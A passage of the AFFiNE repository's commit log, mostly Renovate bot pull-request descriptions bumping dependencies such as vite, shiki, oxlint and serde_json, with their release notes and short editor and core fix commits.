-   fix: tree shake stringified JSON imports ([#&#8203;19189](https://redirect.github.com/vitejs/vite/issues/19189)) ([f2aed62](https://redirect.github.com/vitejs/vite/commit/f2aed62d0bf1b66e870ee6b4aab80cd1702793ab)), closes [#&#8203;19189](https://redirect.github.com/vitejs/vite/issues/19189)
-   fix: use shared sigterm callback ([#&#8203;19203](https://redirect.github.com/vitejs/vite/issues/19203)) ([47039f4](https://redirect.github.com/vitejs/vite/commit/47039f4643179be31a8d7c7fbff83c5c13deb787)), closes [#&#8203;19203](https://redirect.github.com/vitejs/vite/issues/19203)
-   fix(deps): update all non-major dependencies ([#&#8203;19098](https://redirect.github.com/vitejs/vite/issues/19098)) ([8639538](https://redirect.github.com/vitejs/vite/commit/8639538e6498d1109da583ad942c1472098b5919)), closes [#&#8203;19098](https://redirect.github.com/vitejs/vite/issues/19098)
-   fix(optimizer): use correct default install state path for yarn PnP ([#&#8203;19119](https://redirect.github.com/vitejs/vite/issues/19119)) ([e690d8b](https://redirect.github.com/vitejs/vite/commit/e690d8bb1e5741e81df5b7a6a5c8c3c1c971fa41)), closes [#&#8203;19119](https://redirect.github.com/vitejs/vite/issues/19119)
-   fix(types): improve `ESBuildOptions.include / exclude` type to allow `readonly (string | RegExp)[]`  ([ea53e70](https://redirect.github.com/vitejs/vite/commit/ea53e7095297ea4192490fd58556414cc59a8975)), closes [#&#8203;19146](https://redirect.github.com/vitejs/vite/issues/19146)
-   chore(deps): update dependency pathe to v2 ([#&#8203;19139](https://redirect.github.com/vitejs/vite/issues/19139)) ([71506f0](https://redirect.github.com/vitejs/vite/commit/71506f0a8deda5254cb49c743cd439dfe42859ce)), closes [#&#8203;19139](https://redirect.github.com/vitejs/vite/issues/19139)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-20 14:28:03 +00:00
Saul-Mirone 04509a9c91 fix(editor): remove pointer event handlers in root block (#9802) 2025-01-20 14:10:05 +00:00
doodlewind 14ca171a18 chore(web): bump theme (#9801) 2025-01-20 13:51:24 +00:00
renovate 44b28cacf5 chore: bump up all non-major dependencies (#9786)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [@napi-rs/cli](https://redirect.github.com/napi-rs/napi-rs) | [`3.0.0-alpha.67` -> `3.0.0-alpha.68`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@napi-rs%2fcli/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@napi-rs%2fcli/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@napi-rs%2fcli/3.0.0-alpha.67/3.0.0-alpha.68?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [micromark-extension-gfm-table](https://redirect.github.com/micromark/micromark-extension-gfm-table) | [`2.1.0` -> `2.1.1`](https://renovatebot.com/diffs/npm/micromark-extension-gfm-table/2.1.0/2.1.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/micromark-extension-gfm-table/2.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/micromark-extension-gfm-table/2.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/micromark-extension-gfm-table/2.1.0/2.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/micromark-extension-gfm-table/2.1.0/2.1.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [shiki](https://redirect.github.com/shikijs/shiki) ([source](https://redirect.github.com/shikijs/shiki/tree/HEAD/packages/shiki)) | [`1.27.2` -> `1.29.1`](https://renovatebot.com/diffs/npm/shiki/1.27.2/1.29.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/shiki/1.29.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/shiki/1.29.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/shiki/1.27.2/1.29.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/shiki/1.27.2/1.29.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) |
| [vite](https://vite.dev) ([source](https://redirect.github.com/vitejs/vite/tree/HEAD/packages/vite)) | [`6.0.7` -> `6.0.9`](https://renovatebot.com/diffs/npm/vite/6.0.7/6.0.9) | [![age](https://developer.mend.io/api/mc/badges/age/npm/vite/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/vite/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/vite/6.0.7/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/vite/6.0.7/6.0.9?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>napi-rs/napi-rs (@&#8203;napi-rs/cli)</summary>

### [`v3.0.0-alpha.68`](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.67...@napi-rs/cli@3.0.0-alpha.68)

[Compare Source](https://redirect.github.com/napi-rs/napi-rs/compare/@napi-rs/cli@3.0.0-alpha.67...@napi-rs/cli@3.0.0-alpha.68)

</details>

<details>
<summary>micromark/micromark-extension-gfm-table (micromark-extension-gfm-table)</summary>

### [`v2.1.1`](https://redirect.github.com/micromark/micromark-extension-gfm-table/releases/tag/2.1.1)

[Compare Source](https://redirect.github.com/micromark/micromark-extension-gfm-table/compare/2.1.0...2.1.1)

##### Fix

-   [`b9c47f5`](https://redirect.github.com/micromark/micromark-extension-gfm-table/commit/b9c47f5) Fix stack overflow by replacing spread w/ for loop
    by [@&#8203;zzuu666](https://redirect.github.com/zzuu666) in [https://github.com/micromark/micromark-extension-gfm-table/pull/15](https://redirect.github.com/micromark/micromark-extension-gfm-table/pull/15)

##### Types

-   [`f916674`](https://redirect.github.com/micromark/micromark-extension-gfm-table/commit/f916674) Refactor types
-   [`630c82f`](https://redirect.github.com/micromark/micromark-extension-gfm-table/commit/630c82f) Add declaration maps

**Full Changelog**: https://github.com/micromark/micromark-extension-gfm-table/compare/2.1.0...2.1.1

</details>

<details>
<summary>shikijs/shiki (shiki)</summary>

### [`v1.29.1`](https://redirect.github.com/shikijs/shiki/releases/tag/v1.29.1)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.29.0...v1.29.1)

#####    🚀 Features

-   Improve warning messages  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(ad525)</samp>](https://redirect.github.com/shikijs/shiki/commit/ad525a9c)
-   Expose `shiki/types`  -  by [@&#8203;antfu](https://redirect.github.com/antfu) [<samp>(0b027)</samp>](https://redirect.github.com/shikijs/shiki/commit/0b027f3d)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.29.0...v1.29.1)

### [`v1.29.0`](https://redirect.github.com/shikijs/shiki/releases/tag/v1.29.0)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.28.0...v1.29.0)

#####    🚀 Features

-   **transformers**: Introduce `matchAlgorithm` option for new matching algorithm  -  by [@&#8203;fuma-nama](https://redirect.github.com/fuma-nama) and [@&#8203;antfu](https://redirect.github.com/antfu) in [https://github.com/shikijs/shiki/issues/835](https://redirect.github.com/shikijs/shiki/issues/835) [<samp>(ceca9)</samp>](https://redirect.github.com/shikijs/shiki/commit/ceca984e)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.28.0...v1.29.0)

### [`v1.28.0`](https://redirect.github.com/shikijs/shiki/releases/tag/v1.28.0)

[Compare Source](https://redirect.github.com/shikijs/shiki/compare/v1.27.2...v1.28.0)

#####    🚀 Features

-   **engine-js**: Improve performance for some languages  -  by [@&#8203;slevithan](https://redirect.github.com/slevithan) in [https://github.com/shikijs/shiki/issues/897](https://redirect.github.com/shikijs/shiki/issues/897) [<samp>(e86ca)</samp>](https://redirect.github.com/shikijs/shiki/commit/e86ca5fa)

#####    🐞 Bug Fixes

-   **rehype**: Improve `lazy` performance  -  by [@&#8203;fuma-nama](https://redirect.github.com/fuma-nama) in [https://github.com/shikijs/shiki/issues/896](https://redirect.github.com/shikijs/shiki/issues/896) [<samp>(5c10f)</samp>](https://redirect.github.com/shikijs/shiki/commit/5c10f25b)

#####     [View changes on GitHub](https://redirect.github.com/shikijs/shiki/compare/v1.27.2...v1.28.0)

</details>

<details>
<summary>vitejs/vite (vite)</summary>

### [`v6.0.9`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small609-2025-01-20-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.8...v6.0.9)

-   fix!: check host header to prevent DNS rebinding attacks and introduce `server.allowedHosts` ([bd896fb](https://redirect.github.com/vitejs/vite/commit/bd896fb5f312fc0ff1730166d1d142fc0d34ba6d))
-   fix!: default `server.cors: false` to disallow fetching from untrusted origins ([b09572a](https://redirect.github.com/vitejs/vite/commit/b09572acc939351f4e4c50ddf793017a92c678b1))
-   fix: verify token for HMR WebSocket connection ([029dcd6](https://redirect.github.com/vitejs/vite/commit/029dcd6d77d3e3ef10bc38e9a0829784d9760fdb))

### [`v6.0.8`](https://redirect.github.com/vitejs/vite/blob/HEAD/packages/vite/CHANGELOG.md#small608-2025-01-20-small)

[Compare Source](https://redirect.github.com/vitejs/vite/compare/v6.0.7...v6.0.8)

-   fix: avoid SSR HMR for HTML files ([#&#8203;19193](https://redirect.github.com/vitejs/vite/issues/19193)) ([3bd55bc](https://redirect.github.com/vitejs/vite/commit/3bd55bcb7e831d2c4f66c90d7bbb3e1fbf7a02b6)), closes [#&#8203;19193](https://redirect.github.com/vitejs/vite/issues/19193)
-   fix: build time display 7m 60s ([#&#8203;19108](https://redirect.github.com/vitejs/vite/issues/19108)) ([cf0d2c8](https://redirect.github.com/vitejs/vite/commit/cf0d2c8e232a1af716c71cdd2218d180f7ecc02b)), closes [#&#8203;19108](https://redirect.github.com/vitejs/vite/issues/19108)
-   fix: don't resolve URL starting with double slash ([#&#8203;19059](https://redirect.github.com/vitejs/vite/issues/19059)) ([35942cd](https://redirect.github.com/vitejs/vite/commit/35942cde11fd8a68fa89bf25f7aa1ddb87d775b2)), closes [#&#8203;19059](https://redirect.github.com/vitejs/vite/issues/19059)
-   fix: ensure `server.close()` only called once ([#&#8203;19204](https://redirect.github.com/vitejs/vite/issues/19204)) ([db81c2d](https://redirect.github.com/vitejs/vite/commit/db81c2dada961f40c0882b5182adf2f34bb5c178)), closes [#&#8203;19204](https://redirect.github.com/vitejs/vite/issues/19204)
-   fix: resolve.conditions in ResolvedConfig was `defaultServerConditions` ([#&#8203;19174](https://redirect.github.com/vitejs/vite/issues/19174)) ([ad75c56](https://redirect.github.com/vitejs/vite/commit/ad75c56dce5618a3a416e18f9a5c3880d437a107)), closes [#&#8203;19174](https://redirect.github.com/vitejs/vite/issues/19174)
-   fix: tree shake stringified JSON imports ([#&#8203;19189](https://redirect.github.com/vitejs/vite/issues/19189)) ([f2aed62](https://redirect.github.com/vitejs/vite/commit/f2aed62d0bf1b66e870ee6b4aab80cd1702793ab)), closes [#&#8203;19189](https://redirect.github.com/vitejs/vite/issues/19189)
-   fix: use shared sigterm callback ([#&#8203;19203](https://redirect.github.com/vitejs/vite/issues/19203)) ([47039f4](https://redirect.github.com/vitejs/vite/commit/47039f4643179be31a8d7c7fbff83c5c13deb787)), closes [#&#8203;19203](https://redirect.github.com/vitejs/vite/issues/19203)
-   fix(deps): update all non-major dependencies ([#&#8203;19098](https://redirect.github.com/vitejs/vite/issues/19098)) ([8639538](https://redirect.github.com/vitejs/vite/commit/8639538e6498d1109da583ad942c1472098b5919)), closes [#&#8203;19098](https://redirect.github.com/vitejs/vite/issues/19098)
-   fix(optimizer): use correct default install state path for yarn PnP ([#&#8203;19119](https://redirect.github.com/vitejs/vite/issues/19119)) ([e690d8b](https://redirect.github.com/vitejs/vite/commit/e690d8bb1e5741e81df5b7a6a5c8c3c1c971fa41)), closes [#&#8203;19119](https://redirect.github.com/vitejs/vite/issues/19119)
-   fix(types): improve `ESBuildOptions.include / exclude` type to allow `readonly (string | RegExp)[]`  ([ea53e70](https://redirect.github.com/vitejs/vite/commit/ea53e7095297ea4192490fd58556414cc59a8975)), closes [#&#8203;19146](https://redirect.github.com/vitejs/vite/issues/19146)
-   chore(deps): update dependency pathe to v2 ([#&#8203;19139](https://redirect.github.com/vitejs/vite/issues/19139)) ([71506f0](https://redirect.github.com/vitejs/vite/commit/71506f0a8deda5254cb49c743cd439dfe42859ce)), closes [#&#8203;19139](https://redirect.github.com/vitejs/vite/issues/19139)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get [config help](https://redirect.github.com/renovatebot/renovate/discussions) if that's undesired.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-20 13:03:20 +00:00
Yifeng Wang e45ac54709 feat(editor): add canvas worker renderer dev entry (#9719) 2025-01-20 20:40:27 +08:00
fengmk2 2ae05c28b7 feat(server): enable cls plugin to store request id (#9758)
POC
2025-01-20 10:00:21 +00:00
Saul-Mirone fa5e6e1f45 fix: remove bs shared and components in affine (#9792) 2025-01-20 09:41:06 +00:00
doouding 1560880abd fix: drag embed block preview (#9791)
Fixes [BS-1518](https://linear.app/affine-design/issue/BS-1518/拖拽一个-embed-view-的-linked-doc,其-indicator-是错误的)
2025-01-20 09:25:05 +00:00
forehalo cb53baca89 fix(electron): export and import (#9767) 2025-01-20 08:48:03 +00:00
zzj3720 2e18ae59e3 refactor(editor): do not create a tag column by default anymore (#9789)
close: BS-2423
2025-01-20 06:59:10 +00:00
renovate dce71f8e6e chore: bump up oxlint version to v0.15.7 (#9774)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence |
|---|---|---|---|---|---|
| [oxlint](https://oxc.rs) ([source](https://redirect.github.com/oxc-project/oxc/tree/HEAD/npm/oxlint)) | [`0.15.6` -> `0.15.7`](https://renovatebot.com/diffs/npm/oxlint/0.15.6/0.15.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/oxlint/0.15.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/oxlint/0.15.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/oxlint/0.15.6/0.15.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/oxlint/0.15.6/0.15.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) |

---

### Release Notes

<details>
<summary>oxc-project/oxc (oxlint)</summary>

### [`v0.15.7`](https://redirect.github.com/oxc-project/oxc/blob/HEAD/npm/oxlint/CHANGELOG.md#0157---2025-01-19)

[Compare Source](https://redirect.github.com/oxc-project/oxc/compare/oxlint_v0.15.6...oxlint_v0.15.7)

##### Features

-   [`538b24a`](https://redirect.github.com/oxc-project/oxc/commit/538b24a) linter: Format the configuration documentation correctly ([#&#8203;8583](https://redirect.github.com/oxc-project/oxc/issues/8583)) (Tapan Prakash)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-20 06:32:11 +00:00
Saul-Mirone 2b3da1f0e9 fix: remove global, store and std in affine packages (#9785) 2025-01-20 06:14:46 +00:00
zzj3720 66b6fd8b74 fix(editor): view recorded in storage may not exist (#9788)
fix: BS-2415
2025-01-20 05:36:42 +00:00
CatsJuice 1a18aeb22e fix(core): make journal template selector fixed at bottom in sidebar (#9783) 2025-01-20 04:35:11 +00:00
donteatfriedrice 4bd43a698c refactor(editor): refactor linkPreviewer as an extension and remove bookmark service (#9754)
[BS-2427](https://linear.app/affine-design/issue/BS-2427/移除-bookmark-block-service) [BS-2418](https://linear.app/affine-design/issue/BS-2418/linkpreviewer-重构成插件)
2025-01-20 04:18:00 +00:00
EYHN cc2958203b fix(core): fix ios sync (#9782) 2025-01-20 03:37:10 +00:00
fundon 4aabcaaa60 chore(core): update fill color of shape (#9674)
part of: https://github.com/toeverything/AFFiNE/pull/9633

* updates fill color in `shape.json`
2025-01-20 03:22:11 +00:00
JimmFly 601c0dd16c fix(core): center peek and history dialog does not display custom fonts (#9274)
close AF-1806
2025-01-20 03:00:13 +00:00
JimmFly 9004c45eed feat(core): add copy link button to local share menu (#9271)
close AF-1838
2025-01-20 02:40:10 +00:00
renovate 8d65a9bb5f chore: bump up Rust crate serde_json to v1.0.137 (#9781)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [serde_json](https://redirect.github.com/serde-rs/json) | workspace.dependencies | patch | `1.0.136` -> `1.0.137` |

---

### Release Notes

<details>
<summary>serde-rs/json (serde_json)</summary>

### [`v1.0.137`](https://redirect.github.com/serde-rs/json/releases/tag/v1.0.137)

[Compare Source](https://redirect.github.com/serde-rs/json/compare/v1.0.136...v1.0.137)

-   Turn on "float_roundtrip" and "unbounded_depth" features for serde_json in play.rust-lang.org ([#&#8203;1231](https://redirect.github.com/serde-rs/json/issues/1231))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzOS4xMDcuMCIsInVwZGF0ZWRJblZlciI6IjM5LjEwNy4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->
2025-01-20 01:29:41 +00:00
renovate c38ae69b4c chore: bump up all non-major dependencies (#9730)
This PR contains the following updates:

| Package | Change | Age | Adoption | Passing | Confidence | Type | Update |
|---|---|---|---|---|---|---|---|
| [@aws-sdk/client-s3](https://redirect.github.com/aws/aws-sdk-js-v3/tree/main/clients/client-s3) ([source](https://redirect.github.com/aws/aws-sdk-js-v3/tree/HEAD/clients/client-s3)) | [`3.726.1` -> `3.731.1`](https://renovatebot.com/diffs/npm/@aws-sdk%2fclient-s3/3.726.1/3.731.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@aws-sdk%2fclient-s3/3.731.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@aws-sdk%2fclient-s3/3.731.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@aws-sdk%2fclient-s3/3.726.1/3.731.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@aws-sdk%2fclient-s3/3.726.1/3.731.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@chromatic-com/storybook](https://redirect.github.com/chromaui/addon-visual-tests) | [`3.2.3` -> `3.2.4`](https://renovatebot.com/diffs/npm/@chromatic-com%2fstorybook/3.2.3/3.2.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@chromatic-com%2fstorybook/3.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@chromatic-com%2fstorybook/3.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@chromatic-com%2fstorybook/3.2.3/3.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@chromatic-com%2fstorybook/3.2.3/3.2.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@napi-rs/cli](https://redirect.github.com/napi-rs/napi-rs) | [`3.0.0-alpha.65` -> `3.0.0-alpha.67`](https://renovatebot.com/diffs/npm/@napi-rs%2fcli/3.0.0-alpha.65/3.0.0-alpha.67) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@napi-rs%2fcli/3.0.0-alpha.67?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@napi-rs%2fcli/3.0.0-alpha.67?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@napi-rs%2fcli/3.0.0-alpha.65/3.0.0-alpha.67?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@napi-rs%2fcli/3.0.0-alpha.65/3.0.0-alpha.67?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@swc/core](https://swc.rs) ([source](https://redirect.github.com/swc-project/swc)) | [`1.10.7` -> `1.10.8`](https://renovatebot.com/diffs/npm/@swc%2fcore/1.10.7/1.10.8) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@swc%2fcore/1.10.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@swc%2fcore/1.10.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@swc%2fcore/1.10.7/1.10.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@swc%2fcore/1.10.7/1.10.8?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@toeverything/theme](https://redirect.github.com/toeverything/design) | [`1.1.6` -> `1.1.7`](https://renovatebot.com/diffs/npm/@toeverything%2ftheme/1.1.6/1.1.7) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@toeverything%2ftheme/1.1.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@toeverything%2ftheme/1.1.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@toeverything%2ftheme/1.1.6/1.1.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@toeverything%2ftheme/1.1.6/1.1.7?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [cloudflare/wrangler-action](https://redirect.github.com/cloudflare/wrangler-action) | `v3.13.0` -> `v3.13.1` | [![age](https://developer.mend.io/api/mc/badges/age/github-tags/cloudflare%2fwrangler-action/v3.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/github-tags/cloudflare%2fwrangler-action/v3.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/github-tags/cloudflare%2fwrangler-action/v3.13.0/v3.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/github-tags/cloudflare%2fwrangler-action/v3.13.0/v3.13.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | action | patch |
| [lint-staged](https://redirect.github.com/lint-staged/lint-staged) | [`15.3.0` -> `15.4.1`](https://renovatebot.com/diffs/npm/lint-staged/15.3.0/15.4.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lint-staged/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lint-staged/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lint-staged/15.3.0/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lint-staged/15.3.0/15.4.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [lucide-react](https://lucide.dev) ([source](https://redirect.github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react)) | [`^0.471.0` -> `^0.473.0`](https://renovatebot.com/diffs/npm/lucide-react/0.471.1/0.473.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/lucide-react/0.473.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/lucide-react/0.473.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/lucide-react/0.471.1/0.473.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/lucide-react/0.471.1/0.473.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [openai](https://redirect.github.com/openai/openai-node) | [`4.78.1` -> `4.79.1`](https://renovatebot.com/diffs/npm/openai/4.78.1/4.79.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/openai/4.79.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/openai/4.79.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/openai/4.78.1/4.79.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/openai/4.78.1/4.79.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [react-router-dom](https://redirect.github.com/remix-run/react-router) ([source](https://redirect.github.com/remix-run/react-router/tree/HEAD/packages/react-router-dom)) | [`6.28.1` -> `6.28.2`](https://renovatebot.com/diffs/npm/react-router-dom/6.28.1/6.28.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/react-router-dom/6.28.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/react-router-dom/6.28.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/react-router-dom/6.28.1/6.28.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/react-router-dom/6.28.1/6.28.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
